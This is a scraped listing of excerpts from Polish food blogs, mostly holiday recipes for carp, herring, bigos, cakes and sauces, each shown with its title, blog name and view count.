Ptasim Mleczkiem Biszkopt z delicjami Ciasto Poezja Malinowa Chmurka Ciasto Toffi z prażonym słonecznikiem Miodownik z bitą śmietaną Ciemny Snickers   Ciasto czeskie Biszkopt z masą budyniową, bezami i sosem toffi

Mania Wypiekania
Karp pieczony w sosie z leśnych grzybów 194

Gotować jeszcze około 5 minut. Kawałki karpia obtoczyć w mące. Na patelni rozgrzać olej. Obsmażyć karpia z obu stron, po 2 minuty. Podsmażonego karpia ułożyć w naczyniu żaroodpornym, zalać sosem grzybowym i piec przez 25 minut w 170 stopniach C. Smacznego

kolorowotorcikowo
Karp duszony w kapuście kiszonej 209

rozgotować!); dodajemy pokrojone na mniejsze kawałki śliwki, mieszamy i odstawiamy. W naczyniu żaroodpornym układamy połowę przygotowanej kapusty, na niej kawałki karpia, skórą do góry i jeśli został Wam sos po gotowaniu kapusty wylewamy go na karpia. Na karpia układamy resztę kapusty. Jeśli macie małe naczynie i karp nie mieści się w jednym poziomie, to układamy: kapusta, karp skórą do góry

Pociąg Do Kuchni
Ciasto czekoladowe z masą budyniową i orzechami 373

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Polędwiczki wieprzowe w pieczarkach z pieczoną papryką 190

Przedstawiony przepis możecie wykorzystać w święta lub w każdym innym terminie. Polędwiczki wieprzowe świetnie sprawdzają się w daniach z sosami. Dzięki temu stają się jeszcze bardziej delikatne i soczyste. Polecam. Składniki: Polędwiczki wieprzowe ( 2szt ) Pieczarki 400 gram 2 czerwone papryki 1 cebula Mąka Sól Pieprz Śmietana słodka 18% Masło klarowane bulion Wykonanie: Paprykę kroimy na ćwiartki. Układamy na blaszce

Smaki Ewy
ŚWIĄTECZNE JAJKA Z SELEREM KONSERWOWYM 156

wyjątkowymi produktami SPOŁEM KIELCE. Do faszerowania użyłam Chrzanu Luksusowego Społem i Majonezu Kieleckiego Społem. Zapraszam i Smacznego :)  SKŁADNIKI:   6 jajek L natka pietruszki 2 łyżki selera konserwowego Sos 3 Łyżki  Majonezu Kieleckiego Społem  1 Łyżka Chrzanu Luksusowego Społem  sól i pieprz do smaku  PRZYGOTOWANIE: Jajka gotuję na twardo w osolonej wodzie. Studzę. Następnie obieram

Gotowanie Patki
Marynowane śledzie z cebulą i rodzynkami 194

roku zrobić samodzielnie. Nie jest to trudne zadanie, ale wymaga cierpliwości. Śledzie najpierw moczy się w wodzie, później w octowej marynacie, a na koniec dodaje się cebulowo-rodzynkowy sos. Takie danie nie tylko świetnie smakuje, ale też pięknie i odświętnie wygląda na wigilijnym stole. Składniki: 8 filetów śledziowych a la matias (w zalewie solnej) 2 szklanki wody 0,5 szklanki

Kulinarne Inspiracje
Gnocchi z dynią 196

pure! Co najmniej raz w tygodniu wielka rozłupana dynia ląduje w piekarniku. Potem miksuję na pure i piekę ciasta, ciasteczka i muffinki, dodaję do placków i naleśników, robię sosy do makaronu, gotuję z owsianką lub jaglanką i tak w kółko… Jak ostatnio kupowałam dynię na straganie starsza pani spytała mnie ” i co pani robi potem z tej dyni

Cooking for Emily
Domowa wędlina + film 164

przypraw, które wnikają do samego środka. To rewelacyjna propozycja dla zabieganych, gdyż jego przygotowanie nie wymaga wiele uwagi. Taka wędlina idealnie smakuje na zimno, pokrojona w plastry, podana z sosem tatarskim, chrzanowym lub sałatką.     składniki na 1,5 kg wędliny 1,5 kg schabu lub innego mięsa ( łopatki , karkówki, boczku, fileta z indyka ) 2 litry wody 1/3 szklanki

Smakowite Dania
Schab ze śliwką w przyprawie korzennej 231

piekarnika na 80 minut . Po tym czasie piekarnik wyłączamy i pozostawiamy w nim schab jeszcze około 20 minut . Po tym czasie jest gotowy do spożycia . Świetnie smakuje z sosem śliwkowym lub pieczeniowym a na zimno , na kanapki jak znalazł ..mniam Smacznego ! Post Schab ze śliwką w przyprawie korzennej pojawił się poraz pierwszy w Ogrodnik w podróży

Ogrodnik w podróży
Łosoś w cieście 263

nacięcia. Posmarować rozmąconym żółtkiem. Wstawić do nagrzanego do 180 stopni piekarnika i piec około 15-20 min. tak by ciasto się zrumieniło. Ja osobiście lubię do tego sos czosnkowy na bazie jogurtu i majonezu. Smacznego

Mama z miasta
Nadziewane muszle makaronowe 263

ziołowej 14 dużych muszli makaronowych łyżka oleju Wykonanie: Brokuł, fetę i paprykę pokroić w kostkę, dodać kukurydzę i posolić. Rozmieszać w kubeczku śmietanę, majonez i przeciśnięty przez praskę czosnek. Sos dodać do sałatki i wymieszać. W lekko osolonej wodzie z dodatkiem łyżki oleju ugotować muszle do miękkości (u mnie było to zdecydowanie dłużej niż napisano na opakowaniu – ciasto jest

Mama z miasta
Wrap a’la krokiet 271

wrap tak jak krokiet. Moczymy w jajku i bułce tartej. Smażymy do zrumienienia na średnim ogniu. Gotowe. Smacznego! Można podawać do zupy ale też jako samodzielne danie np. z sosem czosnkowym

Mama z miasta
Dietetyczne gofry z cukinii i marchewki 444

oczkach. Dodać jajko, mąkę i proszek do pieczenia. Wymieszać. 2. Gofrownicę rozgrzać. Posmarować lekko olejem. Nakładać mieszankę i piec ok. 8 min. aż do zrumienienia. Idealnie do tego pasuje sos tzatziki. Serek kremowy wymieszać z ogórkiem startym na tarce i 2 ząbkami czosnku. Doprawić solą. Pyyyycha

Mama z miasta
Pstrąg Mojito Lime 331

kiedy rybka się lekko zrumieni przełożyć na drugą stronę i jeśli trzeba podlać niewielką ilością wody. Mi osobiście bardzo smakowała ta rybka w towarzystwie sosu tzatziki. Smacznego

Mama z miasta
Kotlety z bobu 248

jego wykorzystaniem. Powiem Wam, że w tej formie smakuje mi jeszcze bardziej. Kto nie lubi może się jednak przekona… Mąż się przekonał… chociaż trochę . Można podać z sosem tzatziki lub czosnkowym. Składniki: 500 g bobu jajko 3 łyżki mąki ziemniaczanej 1/2 szklanki bułki tartej garść papryki konserwowej 2 ząbki czosnku opcjonalnie 6 szt. mini mozzarelli przyprawy: sól, zioła

Mama z miasta
Jajecznica na kurkach 308

Kurki lubiłam od dawna, a to w formie sosu do mięsa, a to jako dodatek do sałatki z kozim serem i orzechami, ale nigdy sama ich nie przyrządzałam. Aż wreszcie przyjechali teściowie i zażyczyli sobie jajecznicy na kurkach. Udałam się więc na rynek, kupiłam co trzeba i zgodnie z instrukcją goszczącej u mnie gospodyni przygotowałam. Pyyyycha! Próbujcie! Składniki: szklanka kurek

Mama z miasta
Faszerowana cukinia 217

rękawa do pieczenia i zalewamy na dno szklankę wody. Układamy wszystko w odkrytym rondlu i wstawiamy do piekarnika na 30 minut. Tak nadziane cukinie mi najlepiej smakują z sosem pieczarkowym. Dla chętnych przepis tutaj: https://mamazmiasta.wordpress.com/2016/03/02/kotlety-ruskie/ Smacznego

Mama z miasta
Babka na słono 316

piekarnika na ok. 40 min. Po wyjęciu chwilkę chłodzimy. Do blaszki przykładamy duży talerz, obracamy wszystko do góry nogami i lekko naciskamy. Babka powinna odejść sama. Podajemy z sosem pomidorowym lub pieczarkowym. Jak kto woli . Smacznego

Mama z miasta
Wołowina na ostrrro 287

godz. 4. Na patelni rozmrażamy warzywa i dusimy do miękkości. Gdy mięso zmięknie dodajemy warzywa, przyprawy, kostkę, kukurydzę, fasolkę i całość jeszcze chwilkę dusimy. 5. Jeśli potrzeba zagęszczamy sos mąką ziemniaczaną rozmieszaną z wodą. Gotowe! Podawać zawinięte w tortilli lub z ryżem. Smacznego

Mama z miasta
Muszelki z tuńczykiem 273

muszelek na plaży. Bardzo przyjemny… Mam nadzieję to wykorzystać w zabawie z Jaśkiem, ale teraz już do rzeczy… Składniki: 2 szklanki makaronu muszelki małe puszka tuńczyka w sosie własnym mała puszka kukurydzy 1 średnia czerwona papryka 3-4 średnie ogórki kiszone 6 plastrów ananasa z puszki 2 łyżki majonezu 1 łyżeczka ostrej musztardy sól, pieprz, zioła prowansalskie

Mama z miasta
Spaghetti na szybko 328

Składniki: Mięso mielone Pomidory w puszce, lub passata Makaron Przyprawy: czosnek, bazylia, oregano Przygotowanie: Najpierw podsmażamy mięso. Gdy będzie już gotowe dodajemy pomidory i przyprawy. W czasie gdy nasz sos się "przegryza" i bulgoce wstawiamy makaron. Nakładamy na talerz póki ciepłe. Gotowe :) Danie gotowe w jakieś 20 minut.  Fajnie mieć też w lodówce paczkowane mixy sałat - można wtedy

Mama z Motylem
Kasza jaglana z pieczarkami, brokułem, porem oraz indykiem w sosie pomarańczowym 191

czasie podsmażamy pieczarki na maśle oraz por.  Indyka smażymy na patelni, podlewając sokiem z wyciśniętej pomarańczy, pod koniec dodając łyżeczkę cukru i łyżeczkę masła, która sprawi, że sos zgęstnieje. Wszystkie składniki potrawki przenosimy do jednego naczynia i mieszamy. Smacznego

Receptura smaku
Tortilla domowa w roli głównej, czyli idealny dodatek do meczu podczas EURO 2016 :) 197

będzie się dało zawinąć w nie farsz ;) Po usmażeniu odkładamy płatki tortilli na talerz i przykrywamy wilgotną ściereczką Farsz: -pierś z kurczaka -pomidory -pomidory suszone -avokado zielona cebulka sos czosnkowy: -mały jogurt naturalny -łyżka majonezu -2 ząbki czosnku -słodka papryka w proszku -sól, pieprz

Receptura smaku
Staropolski bigos postny i przepisy na potrawy świąteczne 258

Wege)  Zupa grzybowa  (Wege) Czysta zupa grzybowa z wędzoną śliwką  (Wege) Pierogi z kapustą i grzybami leśnymi  (Wege) Uszka z grzybami (Wege) Karp smażony z sosem szarym Wigilijna kapusta z grochem    (Wege) Suszone grzyby w cieście piwnym  (Wege) Ryba po grecku w wersji odchudzonej Pieczony łosoś Pasztet rybny Najlepsze śledzie z cebulą Śledzie

Codziennik Kuchenny
Śledzie z suszoną śliwką i żurawiną 201

odpowiadające nam kawałki. W garnku gotujemy pokrojoną w piórka cebulę z cukrem, solą, pieprzem i listkiem laurowym. Cebula ma zmięknąć. W słoiku układamy cebulę, śledzie i suszone owoce. Zalewamy sosem – olej, sok z cytryny, sól i pieprz. Zamykamy szczelnie i zostawiamy. Prosto i pysznie. Smacznego! Post Śledzie z suszoną śliwką i żurawiną pojawił się poraz pierwszy w LADY KITCHEN

ladykitchen
FILET Z KURCZAKA W SOSIE ŚMIETANOWYM Z KALEROSSE 182

minutach przekładamy warzywo do garnka z kotletami. Dusimy razem ok 5 minut, dodajemy śmietankę. Dusimy aż zacznie gęstnieć, możemy zagęścić łyżką mąki. Na półmisek wykładamy kotlety, polewamy sosem

Z Majeczką w kuchni
Najlepsze przepisy z blogów #3 | Boże Narodzenie 232

suszonymi pomidorami BLOG: http://nietylkopasta.pl/ Rudolf brownie BLOG: http://mamidami.com/ Czekoladowy sernik świąteczny BLOG: http://vegazone.blox.pl/ Muffinki piernikowe BLOG: http://slodkiezycie.com/ Keks angielski BLOG: http://wypiekibeaty.com.pl/ Śledzie w sosie piernikowym BLOG: https://poproszedokladke.pl/ Drożdżowy makowiec zawijany BLOG: http://obiadgotowy.blogspot.com/ Karp smażony BLOG: http://smakuje.blox.pl/ Karp zapiekany z pieczarkami BLOG: http://karmelowy.pl/ Odwrócona rolada makowa BLOG: http://pelnytalerz.blogspot.com/ Pasztet świąteczny BLOG

Kuchnia Bazylii
Sernik tradycyjny bezgutenowy bez spodu 256

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Makaron z Panierką i Orzechami Brazylijskimi 151

makaron jest dosyć miękki to przydałoby się również coś do pochrupania. Makaron doskonale smakuje w połączeniu z podprażoną bułką tartą. I tak zamiast każdemu dobrze znanemu połączeniu makaronu z sosem mamy coś ciekawszego i w smaku i w samym odczuciu podczas jedzenia. Jeżeli wypróbujecie przepis to koniecznie podzielcie się ze mną wrażeniami w komentarzu. A jeśli szukacie innych pomysłów

rabarbarowo
krokiety wigilijne 485

farszem smarujemy naleśniki i zwijamy. Następnie panierujemy w jajku oraz bułce tartej i smażymy na złoty kolor w każdej strony. Gotowe podajemy na ciepło np. z czerwonym barszczem lub sosem grzybowym

Domowy Smak Jedzenia
Zapiekane roladki schabowe FIT 836

Poza tym przygotowanie roladek nie wymaga ogromnej ilości tłuszczu, nadmiar tłuszczu z mięsa wytapia się podczas pieczenia, pozostawiając mięsko soczyste i kruchutkie, ani nie podajemy ich w gęstych, zawiesistych sosach, stąd śmiało możemy nazwać je FIT! Spróbujecie? Składniki: – 400-500g schabu bez kości – 5 plastrów szynki z indyka/szwarcwaldzkiej – 5 kawałków sera (piórko

Be Fit Be Strong
JAK NIE PRZYTYĆ W ŚWIĘTA? 9 WSKAZÓWEK 204

talerze - na pewno znajdziesz jakieś zajęcie, czasem wystarczy usiąść na kanapie obok stołu :) 7. OGRANICZYĆ DODATKI. Święta to wyjątkowy okres. Ogranicz ilość kalorycznych dodatków, na przykład masła, majonezu, sosów, cukru. Sumując, może z nich wyjść całkiem niezła sumka! Ale też nie przesadzaj - w końcu są święta, ważne żeby też Ci smakowało! Oprócz tego proponuję zrezygnować z rzeczy, które

Vroblewska-fitlife
Jamie Oliver „Świąteczne przepisy” – Pomysł na gwiazdkowy prezent 274

ktoś pomyślał o roślinożercach w czasie Świąt Zjawiskowe ziemniaki – dla mnie to top! ziemniaki to moje ulubione warzywo! w każdej ilości i w każdej postaci! Wspaniałe warzywa Smakowite sosy i wszelkie dodatki Kreatywne resztki – tak, tak! Po Świętach zostaje masa jedzenia, nienawidzę go wrzucać. Jamie poleca co zrobić z resztkami ze Świątecznego stołu. Doskonale Świąteczne desery. Popołudniowa herbata

Ania i Marcin gotują
Kotleciki z mintaja 204

panierujemy je w bułce tartej i lekko spłaszczamy. Smażymy na złoty kolor z dwóch stron na rozgrzanym oleju. Podajemy z ziemniakami i surówką. Można podawać również z sosem pomidorowym lub pieczarkowym. Inne dania z rybą, w tym kotleciki, krokiety i sałatki, a także przepis na pieczonego karpia znajdziecie TUTAJ

Trzeci talerz
śledź ze smażoną cebulą 217

ognia i studzimy zawartość. Płuczemy f ilety śledziowe. Opłukane śledziowe filety, kroimy w trzy centymetrowe kawałki i wkładamy  do misy ( lub  słoja) do której dodajemy przestudzony sos z cebuli i koncentratu. Całość mieszamy  odstawiamy  na dzień w chłodne miejsce, aby smaki mogły się połączyć i gotowe

Miód i pieprz
Inka Latte i Wiśnie skąpane w Czekoladowym Rumie, co Cynamon pokochały ;-) 157

migdałowego -70 ml mleka krowiego 3,2% tłuszczu - 3 łyżki wiśni skąpanych w rumie (bądź w syropie rumowym) - 1 łyżeczka płynnej czekolady - 2-3 szczypty cynamonu - 2-3 krople sosu do kawy o smaku migdałowego Krok po kroku wykonanie: - zaparz kawę Inka w filiżance do espresso, następnie przelej do metalowego dzbanuszka - przygotuj wysoką szklankę, na dnie umieść wiśnie w rumie

SMYKWKUCHNI
Rolada ze schabu nadziewana mięsem mielonym 181

Idealna rolada na chleb jako wędlina oraz podana na zimno z sosem czosnkowym lub tatarskim. Pycha Przygotowanie nadzienia – cebulę obrać, pokroić w drobną kostkę. Na patelni roztopić masło i obsmażyć na patelni na złoty kolor. Dodać serek topiony i smażyć chwilkę, mieszając, aż serek się rozpuści. Mięso mielone wrzucić do miski, dodać serek z cebulką, vegetę, jajko,wymieszać. Doprawić

Kuchnia Pokoleń
Grilowane polędwiczki wieprzowe z borowikami i pomidorkami 185

czosnek i usmażyłem grzyby   Zgrillowałem pomidorki koktajlowe. Na oliwie usmażyłem talarki ziemniaków. Na talerzu ułożyłem równolegle usmażone ziemniaki, zgrillowane polędwiczki , posypałem posiekaną natką. Dodałem pomidorki w towarzystwie ulubionego sosu

R'n'G Kitchen
Kanapka z Omlecikiem 191

ląduje na kanapce z warzywami. Prostota tej kanapki odpowiada za to, że jest ona tak pyszna! Oczywiście kanapki możecie podać z dowolnym wypełnieniem. Z ulubionymi warzywami i sosami. Taka kanapka doskonale nadaje się również do zabrania na drogę, do pracy lub do szkoły albo na kolację. Bardzo dobrze smakuje z żółtym serem jak i twarożkiem. Jeżeli wypróbujecie przepis to koniecznie

rabarbarowo
śledzik po sułtańsku ( pikantny z rodzynkami) 216

śledzik na Wigilie musi być. Nie jestem wielką miłośniczką tego typu przystawek ale takiego śledzia zjem chętnie. Zamarynowany w słodko-ostrym sosie z dodatkiem rodzynek jest naprawdę smaczny. I co najważniejsze można (a nawet trzeba!) zrobić go kilka dni wcześniej więc w Święta mamy o tyle pracy mniej:) Składniki: 500 g filetów śledziowych a'la matias 4 łyżki oleju

Domowa Cukierenka-Domowa Kuchnia
Szybka zupa kukurydziana 161

pokrojone cukinie, ziemniaki, marchewkę, selera, przyprawy i pokrojony czosnek. Zalewamy bulionem i wrzątkiem, tak żeby warzywa były przykryte. Gotujemy 15 minut i miksujemy blenderem. Dodajemy sok z cytryny, sos pomidorowy i kukurydzę z puszki. Mieszamy i podajemy. Artykuł Szybka zupa kukurydziana pochodzi z serwisu Ugotowane Pozamiatane

Ugotowane pozamiatane
Wielowarzywna surówka z białej rzodkwi 179

drobną kostkę, pora obrać z nieładnych liści i drobno pokroić. Olej, oregano, ocet balsamiczny, pieprz, słodką paprykę i suszoną pietruszkę razem wymieszać.Wszystkie warzywa dobrze wymieszać z powstałym sosem i schłodzić w lodówce. Smacznego

talerz przyjemności
Recenzja książki "Polskie Jabłka", czyli jabłka na co dzień i od święta 234

którego nie omieszkam regularnie korzystać przy wybieraniu gatunku jabłka pod zaplanowane do przyrządzenia danie. Przepisy pogrupowane są w 9 kategoriach: Napoje , Sałatki , Zupy , Potrawy bezmięsne , Potrawy z mięsem , Sosy , Ciasta , Desery i Przetwory . Każda kategoria zabarwiona jest innym kolorem w tytułach potraw czy oznakowaniu numeru strony - łatwiej i przystępniej można przez to książkę wertować. Do wielu receptur dołączone jest też

Grunt to przepis!
Warstwowa sałatka śledziowa z papryką 349

Odsączamy. Ogórki kroimy w plasterki, papryki w paski. Majonez, śmietanę, jogurt i przyprawy mieszamy ze sobą. Na dnie szklanego naczynia układamy śledzie, następnie cebulę, ogórki i paprykę. Całość zalewamy sosem majonezowym. Sałatkę odstawiamy na pół godziny do lodówki

e-PrzepisyKulinarne
Makowy tort z żurawiną pod gwiazdami 181

nożem. Żurawinę myję, przekładam do garnka,dodaję cukier, wino i na wolnym ogniu przesmażam aż żurawina będzie miękka. Rozduszam delikatnie widelcem kulki owoców. Przesmażam tak długo aż się zredukuje sos i żurawina będzie jak konfitura. Dobrze jest przesmażyć żurawinę dzień wcześniej. Krem: Do miski przekładam mascarpone, dodaję śmietanę schłodzoną, cukier i ubijam mikserem aż krem będzie gęsty i dobrze ubity

wesoła kuchnia
Makowy tort z żurawiną pod gwiazdami 181

nożem. Żurawinę myję, przekładam do garnka,dodaję cukier, wino i na wolnym ogniu przesmażam aż żurawina będzie miękka. Rozduszam delikatnie widelcem kulki owoców. Przesmażam tak długo aż się zredukuje sos i żurawina będzie jak konfitura. Dobrze jest przesmażyć żurawinę dzień wcześniej. Krem: Do miski przekładam mascarpone, dodaję śmietanę schłodzoną, cukier i ubijam mikserem aż krem będzie gęsty i dobrze ubity

wesoła kuchnia
Miekkie pierniczki świąteczne bez drożdży 787

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Mleko kokosowe 243

mleko kokosowe w towarzystwie owoców, które do nich dodaję, sprawdza się naprawdę dobrze. Można je również świetnie wykorzystać (zwłaszcza gęstszą część) do zabielania zup, robienia lodów czy do domowego sosu orzechowego . Najczęściej robi się je z wiórek kokosowych i taka też jest moja propozycja – jest to najtańsza i najwygodniejsza opcja. Wiórki kokosowe możemy z powodzeniem kupić już od około

Blendman
Torcik kapuściany 208

zwartą, ale delikatną konsystencję, pachnie przyprawami i smakuje kapuściano. Można go podawać na obiad, kolację, eleganckie przyjęcie lub wigilię. Jako dodatek idealnie pasuje do niego sos pomidorowy. Składniki: – 1/2 kapusty białej, ok. 1,5 kg – 8 liści kapusty włoskiej – 200 g grochu żółtego – 100 g sera żółtego – 2 cebule

To co kocham
Makaron z kurczakiem, kukurydzą i fetą 205

Świetny pomysł na wykorzystanie makaronu, którego ugotowało się nam za dużo. Do tego sos z kurczakiem, serem feta, czerwoną papryką i słodką kukurydzą. Szybki i smaczny obiad w kilka minut. 1 filet z piersi kurczaka Przyprawa do mięsa 1 cebula 2 ząbki czosnku 1 czerwona papryka 4 łyżki słodkiej kukurydzy 100 g sera feta 50 g serka topionego o smaku

VioletoweKucharzenie
Sałatka Kijowska 124836

masła  100 g żółtego sera (w kawałku) 5 jaj puszka tuńczyk w sosie własnym 200 g majonezu 1 cebula Ta sałatka gości w moim domu, na każde święta od wielu lat. W sumie to nie wiem jak to się stało, że przepisu na nią, nie umieściłam wcześniej na blogu :)  Ale już się poprawiam i dziele się

Świat Domowej Kuchni
Serowo-makowa tarta 228

mały serek mój ulubiony) 1 żółtko łyżka masła 2 łyżki cukru 1 łyżka budyniu śmietankowego w proszku na lukier: łyżka śmietany 18  kilka łyżek cukru pudru, kilka kropli sosu z cytryny dodatkowo 1 jabłko     Przygotowanie:  Z podanych składników zagniatamy  ciasto i wkładamy do lodówki na 1-2 godz. W jednej misce mieszamy składniki na masę

Swojskie jedzonko
Włoska carbonara z surowym żółtkiem – makaronowy ideał 210

dynamicznie mieszamy całość, do rozpuszczenia sera. Rondel ściągamy z ognia, dajemy zawartości 30-40 sekund przestygnąć i wbijamy całe jajko – szybko i dokładnie mieszamy całość, aż jajko zagęści sos i makaron stanie się szklisty– już bardziej rondla nie podgrzewamy , bo jajko się zetnie i wyjdzie nie carbonara, ale makaron z jajecznicą. Rozkładamy dwie porcje gorącego makaronu na talerze, robimy

Karo in the Kitchen
Błyskawiczny piątek - Polędwiczka duszona w cebuli 191

polędwiczkę pokroić w plastry i obsmażyć z obu stron na złoty kolo r. Do dać cebulę posiekaną w piórka, przyprawić i dusić całość około 20 minut. Przed podaniem spróbować sosu i ewentualnie doprawi ć pod swój smak

Magiczne Życie Marty
RISOTTO- KRAKUS 184

pyszne kremowe risotto z dodatkiem warzyw i kawałkami piersi z kurczaka. Do przygotowania wykorzystałam koncentrat bulionu drobiowego Krakus- który nie zawiera konserwantów i jest świetną bazą do zup lub sosów.  Składniki: 1/3 szklanki ryżu do risotto 1 cebula 1 czerwona papryka 1 pojedyncza pierś z kurczaka 1 bulion drobiowy Krakus  1/2 puszki kukurydzy  1 łyżka masła pęczek

Kukuleczki
Bigos staropolski najlepszy na święta 240

gotowania. Gotowy bigos można przechowywać w lodówce nawet kilka dni. Smacznego! Opublikowane: 15.12.2016 ekspansja smaku Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
GRZANKI NIESPODZIANKI 215

stopni na 10 minut. Po tym czasie, na każdej bułce układamy plasterek sera, posypujemy ziołami i wkładamy do piekarnika jeszcze na 5 minut. Podajemy z ketchupem, majonezem lub ulubionym sosem

Kuchnia MagdaLeny
Pierogi z mięsem 204

falbankę lub (jak w Naszym przypadku) odciskamy na brzegach ciasta widelcem drobne paseczki. Tak przygotowane pierożki gotujemy partiami w bulionie aż do wypłynięcia. Podajemy posypane prażoną cebulką oraz z sosem czosnkowym

Wspólne smaki
SURÓWKA COLESŁAW 245

przygotowania: Z kapusty wyciąć głąby i bardzo cienko poszatkować. Marchewkę zetrzeć na tarce o drobnych oczkach, cebulę drobno posiekać, dodać do kapusty, wymieszać. Z pozostałych składników utrzeć gładki, jednolity sos, dodać do sałatki, dokładnie wymieszać. Sałatkę odstawić do lodówki na co najmniej 2 godziny.  Podawać zimną

Przepisy kulinarne babci Antoniny
12 potraw na Wigilię, które przygotujesz w... 30 minut! 55911

Położyć na cebuli. Jajka obrać. Oddzielić białka od żółtek. Białka pokroić w kosteczkę, wyłożyć na śledzie. Majonez wymieszać z musztardą, solą i pieprzem. Wyłożyć na śledzie. Żółtka pokruszyć. Posypać sos majonezowy na sałatce. I gotowe! 7. Pakieciki z łososiem i szpinakiem Podobno łosoś to teraz bardzo popularna ryba na Wigilię. O ile się Wam nie przejadła, to polecam przygotować pakieciki

dobra gospodyni dom wesołym czyni
Tort z orzechów laskowych z masą orzechową 243

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
PAELLA Z OWOCAMI MORZA I WARZYWAMI + KONKURS!!! 378

mięsem z kurczaka lub indyka. Do przygotowania wykorzystałam nowy Koncentrat bulionu warzywnego KRAKUS – jest to koncentrat, który pomoże nam w przygotowaniu baz zarówno do zup, jak i sosów. Starannie dobrana kompozycja warzyw sprawia, że jego zastosowanie jest bardzo uniwersalne – świetnie spisze się zarówno w przypadku Paelli, jak i risotto, gulaszu czy też ulubionej zupy pomidorowej. Nie zawiera konserwantów

Ostra na Słodko
Dorsz w sosie śmietanowym z dodatkiem kurkumy z suszonym pomidorem, bazylią i pomidorkami 217

Dziś mam dla Was przepis na pyszną rybkę - dorsza w sosie śmietanowym z dodatkiem kurkumy, bazylii, suszonych pomidorów i pomidorków koktajlowych. Dla nas pycha. Do tego można dodać ryż lub kaszę i smaczne danie gotowe, nie jest trudne i jest szybkie. Polecam, miłego dzionka życzę :-) Składniki: ok. 500 - 600 g fileta z dorsza 1/2 opakowania pomidorków koktajlowych 8 sztuk pomidorów

kruche babeczki
Twarożek roślinny z orzechów nerkowca 221

serka nadają bardzo przyjemny smak, poza tym zagęszczają. Jeśli macie możliwość zakupu tych płatków, to kupcie - nie pożałujecie. Nie są najtańsze, ale można ich użyć jeszcze do zagęszczenia sosów lub innych past do kanapek. Kupowałam w sklepie ze zdrową żywnością. Twarożek można przygotować na wieczór, wówczas trzeba zacząć rano :) Albo przygotować na śniadanie, ale wtedy zacząć wieczorem :) Nagmatwałam

Szczęśliwa kuchnia
Świąteczna szynka glazurowana miodem 277

Pyszna, soczysta, pachnąca świętami szyneczka w cudownej glazurze :) Goździki, wino i miód nadają jej wspaniały aromat.  Można ją jeść na ciepło (np. z sosem) oraz na zimno. Polecam Wam bardzo :)  SKŁADNIKI 2 kg szynki wieprzowej                  Marynata: 3-4 łyżki oliwy liść laurowy 3 ząbki czosnku suszony rozmaryn i cząber

Moje Kuchenne Rewelacje
Dorsz w sosie śmietanowo-cebulowym 252

średnie cebule 300 ml śmietany sól i pieprz olej, łyżka masła Przygotowanie: Cebulę zeszklić na oleju z masłem, zalać śmietaną i … Czytaj dalej Dorsz w sosie śmietanowo-cebulowym

czarrna od kuchni
Zapiekane tosty francuskie z karmenolizowanymi brzoskwiniami 227

francuski tostów rozgrzać patelnię. Na patelni rozgrzać miód z sokiem cytrynowym i cynamonem. Wrzucić brzoskwinie. Brzoskwinię smażyć na małym ogniu ok. 10 minut, aż brzoskwinie będą miękkie a utworzony sos zgęstnieje, mieszając od czasu do czasu. Upieczone tosty francuskie wyłożyć na talerz i polać karmelizowaną brzoskwinią. Inne informacje wpis Nowy post Zapiekane tosty francuskie z karmenolizowanymi brzoskwiniami pojawił się

Wypieki i Rumieńce
Koktajl z guaraną pobudzający 278

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Błonnik oczyszczający przepis na napój 265

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Rolada makowa drożdżowa 254

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Przepisy na śledzia na Wigilię 186

Śledź po kaszubsku II   Domowe rolmopsy z papryką   Śledź wiejski Śledź po kaszubsku Śledź w oleju z pieczonymi burakami Śledź w oleju z cebulą Śledź w sosie czosnkowym Na zakończanie obiecana wyżej niespodzianka w postaci rewelacyjnego przepisu na łososia. Ryba podana w ten sposób jest hitem wszystkich spotkań i uroczystości. Jest też jednym najbladziej popularnych przepisów na moim

Kulinarne przygody Gatity
KARKÓWKA W KISZONEJ KAPUŚCIE Z PIECZARKAMI 446

mięsa - wymieszać,pod koniec dodać koncentrat pomidorowy,sól,pieprz - wymieszać. Formę do pieczenia wysmarować tłuszczem.Rozłożyć 1/2 kapusty,rozłożyć mięso z cebulką i dokładnie przykry resztą kapusty.Polać sosem powstałym podczas smażenia mięsa.Przykryć i wstawić do piekarnika nagrzanego do 180 st.C na ok 2 godziny . Im dłużej mięsko siedzi w piekarniku tym wychodzi pyszniejsze

Niespełnione zdolności kulinarne
"Kuchnia Staropolska" - recenzja i KONKURS! 236

ciekawe przepisy na przyrządzenie węgorza. Galarety i pasztety - bez nich nie ma typowo polskiej biesiady! W tym dziale bardzo ciekawe farsze do pasztecików! Kolejny dział - bardzo obszerny - mnóstwo ciekawych sosów - dodatków do dań mięsnych i rybnych.  W rozdziale o napojach takie cuda jak: kwas chlebowy i buraczany, ale też receptury na domowe piwa! Ostatni rozdział - oczywiście słodkości!!! Tu arkas

Moje Kuchenne Rewelacje
Salatka sledziowa 181

Szybka propozycja świąteczną sałatkę śledziowa. Właściwie jest to prawie to samo co śledzie w śmietanie, które robię do dawna ale tym razem składniki są pokrojone bardzo drobno a do sosu dodałam curry co podkreśliło smak całej sałatki. Zapraszam, może wykorzystacie w świątecznym menu. Czytaj więcej

Bernika - moj kulinarny pamietnik
Kurczak z fasolą Jaś i papryką 308

